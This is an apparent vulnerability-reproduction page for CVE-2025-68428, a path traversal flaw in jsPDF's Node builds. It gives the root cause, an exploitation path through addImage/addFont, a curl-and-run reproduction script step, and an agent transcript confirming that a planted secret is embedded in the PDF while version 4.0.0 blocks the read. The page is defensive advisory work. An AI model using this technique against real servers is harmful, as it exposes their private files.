CVE-2025-68428: Verified Repro With Script Download
CVE-2025-68428: jsPDF Local File Inclusion/Path Traversal in Node.js builds
CVE-2025-68428 is verified against jspdf · npm. Affected versions: <= 3.0.4. Fixed in 4.0.0. Vulnerability class: Path Traversal. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00044.
What Is CVE-2025-68428?
CVE-2025-68428 (GHSA-f8cm-6447-x5h2) is a critical local file inclusion / path traversal vulnerability in jsPDF's Node.js builds (<= 3.0.4) that lets an attacker who controls a path argument to methods like addImage, loadFile, html, or addFont read arbitrary files from the local filesystem, with their contents embedded verbatim into the generated PDF. Pruva reproduced it (reproduction REPRO-2026-00044).
CVE-2025-68428 Severity & CVSS Score
CVE-2025-68428 is rated high severity, with a CVSS base score of 7.5 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
Affected jspdf Versions
jspdf · npm versions <= 3.0.4 are affected.
How to Reproduce CVE-2025-68428
pruva-verify REPRO-2026-00044 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00044/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2025-68428
Reproduced by Pruva's autonomous agents — 34 tool calls over 8 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2025-68428
Summary
- Vulnerability: Local File Inclusion/Path Traversal via file-loading helpers in jsPDF Node builds
- Impact: Attacker-controlled path arguments to jsPDF APIs can read arbitrary files on the server and embed their raw bytes into generated PDFs
- Affected: jsPDF <= 3.0.4 (Node builds: dist/jspdf.node.js and dist/jspdf.node.min.js)
- Fixed: jsPDF >= 4.0.0 (default deny FS reads; requires explicit enable or Node --permission)
Reproduction Evidence
- Vulnerable version 3.0.4: Passing a local path to doc.addImage(secret.txt, ...) produced a PDF containing the secret token from a local file
- See logs: logs/run_*.log -> shows [HIT] for vulnerable:addImage
- Artifact: repro_work/vuln/out_addImage.pdf contains the token string (search via
grep -a)
- Patched version 4.0.0 (latest at test time): Same PoC raises an error and does not create a PDF
- Error: "Trying to read a file from local file system... set jsPDF.allowFsRead or use --permission --allow-fs-read"
- No token present in patched outputs; bypass suite attempts did not exfiltrate
Root Cause Details
- In Node builds <=3.0.4, helper function loadFile() directly accepted user-provided paths and read files without restriction. Several high-level APIs (addImage, html, addFont) used this helper when passed a string path (as opposed to binary data), causing raw file contents to be embedded in the PDF stream.
- The 4.0.0 patch introduces permission gating for file system access with jsPDF.allowFsRead defaulting to false and honoring Node.js permission model flags. Calls trying to resolve string paths emit a hard error unless enabled.
Exploitation Path
- Import jsPDF Node build (require('jspdf/dist/jspdf.node.js'))
- Provide attacker-controlled relative or absolute path to doc.addImage (or html/addFont)
- Vulnerable loader reads the file and embeds content verbatim into the PDF
- Attacker obtains the PDF and extracts embedded sensitive content
Patched Behavior Verification
- Tested latest npm release (4.0.0) which is newer than the first patched tag or equal; verified it blocks file reads by default
- Error message confirms new permission gate; no PDFs contained secret token
Mitigations/Recommendations
- Upgrade to jsPDF >= 4.0.0
- In production Node 22+/23+/24+, use --permission with --allow-fs-read narrowly scoped if jsPDF needs local asset reads
- For older Node versions, sanitize and whitelist any paths passed to jsPDF APIs; avoid passing user-provided paths directly
Artifacts
- logs/run_*.log: Full run logs including errors and hits/misses
- logs/summary.log: Reproduction summary (FOUND/MISSING etc.)
- repro_work/vuln/out_addImage.pdf: Vulnerable PoC artifact containing secret token
- repro_work/patched/*: Patched tests and bypass attempts outputs
CVE-2025-68428 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
#!/usr/bin/env bash
set -euo pipefail
# Reproduction script for GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal in Node builds)
# - Installs Node.js if missing
# - Tests vulnerable jsPDF@3.0.4 PoC that embeds arbitrary local file content into a PDF
# - Tests latest patched jsPDF@>=4.0.0 and verifies the PoC is blocked
# - Produces logs and artifacts under /bundle/logs and /bundle/repro_work
# Exit codes: 0 = reproduced (vuln works, patched blocks), 1 = not reproduced
ROOT_DIR="/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle"
WORK_DIR="$ROOT_DIR/repro_work"
LOG_DIR="$ROOT_DIR/logs"
mkdir -p "$WORK_DIR" "$LOG_DIR"
RUN_LOG="$LOG_DIR/run_$(date +%Y%m%d_%H%M%S).log"
SUMMARY_LOG="$LOG_DIR/summary.log"
log() { echo "[$(date +%F_%T)] $*" | tee -a "$RUN_LOG"; }
ensure_node() {bash /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/reproduction_steps.sh{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":18515,"exit_code":1,"stderr":"","stdout":"[2026-01-07_18:26:02] Starting reproduction for GHSA-f8cm-6447-x5h2\n[2026-01-07_18:26:02] Node present: v22.21.1, npm: 10.9.4\n[2026-01-07_18:26:02] Prepared secret at /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt with token: JS_PDF_LFI_SECRET_TOKEN=1767810362_2308\n[2026-01-07_18:26:04] Latest jspdf on npm: 4.0.0 (patched baseline >= 4.0.0)\n[2026-01-07_18:26:04] Initializing npm project in /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln\n[2026-01-07_18:26:06] Installing jspdf@3.0.4 in /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln\n[2026-01-07_18:26:11] jspdf installed in /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln: 3.0.4\n[2026-01-07_18:26:11] Executing addImage PoC (vuln) -> /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf\n[2026-01-07_18:26:11] Executing addFont PoC (vuln) -> /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addFont.pdf\n[2026-01-07_18:26:11] Vulnerabl… [truncated]#!/usr/bin/env bash
set -euo pipefail
# Reproduction script for GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal in Node builds)
# - Installs Node.js if missing
# - Tests vulnerable jsPDF@3.0.4 PoC that embeds arbitrary local file content into a PDF
# - Tests latest patched jsPDF@>=4.0.0 and verifies the PoC is blocked
# - Produces logs and artifacts under /bundle/logs and /bundle/repro_work
# Exit codes: 0 = reproduced (vuln works, patched blocks), 1 = not reproduced
ROOT_DIR="/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle"
WORK_DIR="$ROOT_DIR/repro_work"
LOG_DIR="$ROOT_DIR/logs"
mkdir -p "$WORK_DIR" "$LOG_DIR"
RUN_LOG="$LOG_DIR/run_$(date +%Y%m%d_%H%M%S).log"
SUMMARY_LOG="$LOG_DIR/summary.log"
# Log only to the run log file to avoid contaminating command substitution outputs
log() { echo "[$(date +%F_%T)] $*" >> "$RUN_LOG"; }
bash /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/reproduction_steps.shbash /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/reproduction_steps.sh# Root Cause Analysis - GHSA-f8cm-6447-x5h2 (jsPDF Local File Inclusion / Path Traversal) Summary - Vulnerability: Local File Inclusion/Path Traversal via file-loading helpers in jsPDF Node builds - Impact: Attacker-controlled path arguments to jsPDF APIs can read arbitrary files on the server and embed their raw bytes into generated PDFs - Affected: jsPDF <= 3.0.4 (Node builds: dist/jspdf.node.js and dist/jspdf.node.min.js) - Fixed: jsPDF >= 4.0.0 (default deny FS reads; requires explicit enable or Node --permission) Reproduction Evidence - Vulnerable version 3.0.4: Passing a local path to doc.addImage(secret.txt, ...) produced a PDF containing the secret token from a local file - See logs: logs/run_*.log -> shows [HIT] for vulnerable:addImage - Artifact: repro_work/vuln/out_addImage.pdf contains the token string (search via `grep -a`) - Patched version 4.0.0 (latest at test time): Same PoC raises an error and does not create a PDF - Error: "Trying to read a file from local file system... set jsPDF.allowFsRead or use --permission --allow-fs-read" - No token present in patched outputs; bypass suite attempts did not exfiltrate Root Cause Details - In Node builds <=3.0.4, … [truncated]
bash -lc 'ls -l /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln | sed -n "1,120p"'total 23 drwxr-xr-x 23 root root 4096 Jan 7 18:26 node_modules -rw-r--r-- 1 root root 3397 Jan 7 18:28 out_addFont.pdf -rw-r--r-- 1 root root 3473 Jan 7 18:28 out_addImage.pdf -rw-r--r-- 1 root root 8971 Jan 7 18:28 package-lock.json -rw-r--r-- 1 root root 50 Jan 7 18:26 package.json -rw-r--r-- 1 root root 674 Jan 7 18:28 poc_addfont.js -rw-r--r-- 1 root root 718 Jan 7 18:28 poc_addimage.js
bash -lc 'grep -a -n "JS_PDF_LFI_SECRET_TOKEN" -n /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf || true'180:This is a locally stored secret file. JS_PDF_LFI_SECRET_TOKEN=1767810362_2308 181:JS_PDF_LFI_SECRET_TOKEN=1767810491_21822
bash -lc 'git tag --sort=-version:refname 2>/dev/null | head -20 || true'bash -lc 'node -e "console.log(require(\"jspdf/package.json\").version)" 2>/dev/null || true'4.0.0
bash -lc 'node -e "console.log(require(\"jspdf/package.json\").version)" 2>/dev/null || true'3.0.4
bash -lc 'sed -n "1,200p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_$(ls -1 /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/ | grep run_ | sort | tail -1 | sed "s/^run_//").log'sed: can't read /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_20260107_182811.log.log: No such file or directory
bash -lc 'sed -n "200,999p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_20260107_182811.log'{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":574,"exit_code":0,"stderr":"","stdout":" at jsPDFAPI.loadFile (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/node_modules/jspdf/dist/jspdf.node.js:15905:25)\n at Object.processImageData (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/node_modules/jspdf/dist/jspdf.node.js:10913:33)\n at jsPDFAPI.addImage (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/node_modules/jspdf/dist/jspdf.node.js:10887:34)\n at /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/patch_attempt_9.js:33:11\n at Object.<anonymous> (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/patch_attempt_9.js:59:3)\n at Module._compile (node:internal/modules/cjs/loader:1706:14)\n at Object..js (node:internal/modules/cjs/loader:1839:10)\n at Module.load (node:internal/modules/cjs/loader:1441:32)\n at Function._load (node:internal/modules/cjs/loader:1263:12)\n[2026-01-07_18:28:20] [WARN] PDF not found for patched:loadFile_direct: /root/.pruva/runs/ghsa-f8cm-6447-x5h… [truncated]bash -lc 'sed -n "1,120p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/rca_report.md'{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":541,"exit_code":0,"stderr":"","stdout":"# Root Cause Analysis - GHSA-f8cm-6447-x5h2 (jsPDF Local File Inclusion / Path Traversal)\n\nSummary\n- Vulnerability: Local File Inclusion/Path Traversal via file-loading helpers in jsPDF Node builds\n- Impact: Attacker-controlled path arguments to jsPDF APIs can read arbitrary files on the server and embed their raw bytes into generated PDFs\n- Affected: jsPDF <= 3.0.4 (Node builds: dist/jspdf.node.js and dist/jspdf.node.min.js)\n- Fixed: jsPDF >= 4.0.0 (default deny FS reads; requires explicit enable or Node --permission)\n\nReproduction Evidence\n- Vulnerable version 3.0.4: Passing a local path to doc.addImage(secret.txt, ...) produced a PDF containing the secret token from a local file\n - See logs: logs/run_*.log -> shows [HIT] for vulnerable:addImage\n - Artifact: repro_work/vuln/out_addImage.pdf contains the token string (search via `grep -a`)\n- Patched version 4.0.0 (latest at test time): Same PoC raises an error and does not create a PDF\n - Error: \"Trying to read a file from local file system... set jsPDF.allowFsRead or use --permission --allow-fs-rea… [truncated]bash -lc 'printf "VULN_PDF_CONTENT_HIT? "; grep -a -Fq $(sed -n "1p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt | sed "s/[]\[*.^$\/?|(){}+]/\\&/g") /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf && echo YES || echo NO'VULN_PDF_CONTENT_HIT? YES
bash -lc 'sed -n "1,200p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/repro_notes.txt || true'sed: can't read /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/repro_notes.txt: No such file or directory
Reproduction Summary - Vulnerable jsPDF 3.0.4 embeds local file contents when a file path is provided to addImage() - Patched jsPDF 4.0.0 blocks local FS reads by default; attempts error out unless permissions are enabled How To Run - Execute: bash /bundle/reproduction_steps.sh - Outputs: - logs/run_*.log: detailed run logs - logs/summary.log: concise verdicts - repro_work/vuln/out_addImage.pdf: contains secret token (proof) - repro_work/patched/attempts/*.pdf: patched/bypass artifacts
bash -lc 'npm view jspdf versions --json | tail -n1']
bash -lc 'npm view jspdf version'4.0.0
bash -lc 'printf "Secret token: "; sed -n "1p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt; printf "\nGrep confirmation lines in vuln PDF: \n"; grep -a -n "JS_PDF_LFI_SECRET_TOKEN" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf | sed -n "1,4p"'Secret token: This is a locally stored secret file. JS_PDF_LFI_SECRET_TOKEN=1767810362_2308 Grep confirmation lines in vuln PDF: 180:This is a locally stored secret file. JS_PDF_LFI_SECRET_TOKEN=1767810362_2308 181:JS_PDF_LFI_SECRET_TOKEN=1767810491_21822
bash -lc 'printf "Patched PoC error excerpt: \n"; sed -n "1,220p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_20260107_182811.log | grep -n "Trying to read a file from local file system" | head -1'Patched PoC error excerpt: 58:PoC addImage error: Error: Trying to read a file from local file system. To enable this feature either run node with the --permission and --allow-fs-read flags or set the jsPDF.allowFsRead property.
# Patch Analysis - GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal)
Tested Versions
- Vulnerable: jspdf 3.0.4 (Node build: require('jspdf/dist/jspdf.node.js'))
- Patched (latest available): jspdf 4.0.0 from npm at test time
- Verified by `npm view jspdf version` -> 4.0.0
Patch Verification
- PoC against 3.0.4: SUCCESS. addImage() with a local file path embeds raw bytes of the file into the PDF. Token confirmed via grep in generated PDF.
- PoC against 4.0.0: BLOCKED. File reads emit error: "Trying to read a file from local file system. To enable this feature either run node with the --permission and --allow-fs-read flags or set the jsPDF.allowFsRead property." No PDF created.
What Changed (high level)
- In <=3.0.4, a loadFile() helper used by addImage/html/addFont read from the filesystem when passed a string path with no permission gating.
- In 4.0.0, jsPDF enforces a permission flag (jsPDF.allowFsRead=false by default) and integrates with Node's permissions feature, denying filesystem reads unless explicitly enabled.
Bypass Attempts (minimum 10)
All performed against 4.0.0. For each attempt, a PDF was generated only when the API did not read from disk; in all cases where a dis… [truncated]bash -lc 'sed -n "1,200p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/patch_analysis.md'{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":573,"exit_code":0,"stderr":"","stdout":"# Patch Analysis - GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal)\n\nTested Versions\n- Vulnerable: jspdf 3.0.4 (Node build: require('jspdf/dist/jspdf.node.js'))\n- Patched (latest available): jspdf 4.0.0 from npm at test time\n - Verified by `npm view jspdf version` -> 4.0.0\n\nPatch Verification\n- PoC against 3.0.4: SUCCESS. addImage() with a local file path embeds raw bytes of the file into the PDF. Token confirmed via grep in generated PDF.\n- PoC against 4.0.0: BLOCKED. File reads emit error: \"Trying to read a file from local file system. To enable this feature either run node with the --permission and --allow-fs-read flags or set the jsPDF.allowFsRead property.\" No PDF created.\n\nWhat Changed (high level)\n- In <=3.0.4, a loadFile() helper used by addImage/html/addFont read from the filesystem when passed a string path with no permission gating.\n- In 4.0.0, jsPDF enforces a permission flag (jsPDF.allowFsRead=false by default) and integrates with Node's permissions feature, denying filesystem reads unless explicitly enabled.\n\nBypass Attempts (minimum 10)… [truncated]Artifacts and Evidence for CVE-2025-68428
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2025-68428
Upgrade jspdf · npm to 4.0.0 or later.
FAQ: CVE-2025-68428
How does the CVE-2025-68428 exploit work?
Which jsPDF versions are affected by CVE-2025-68428, and where is it fixed?
How severe is CVE-2025-68428?
How can I reproduce CVE-2025-68428?
References for CVE-2025-68428
Authoritative sources for CVE-2025-68428 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.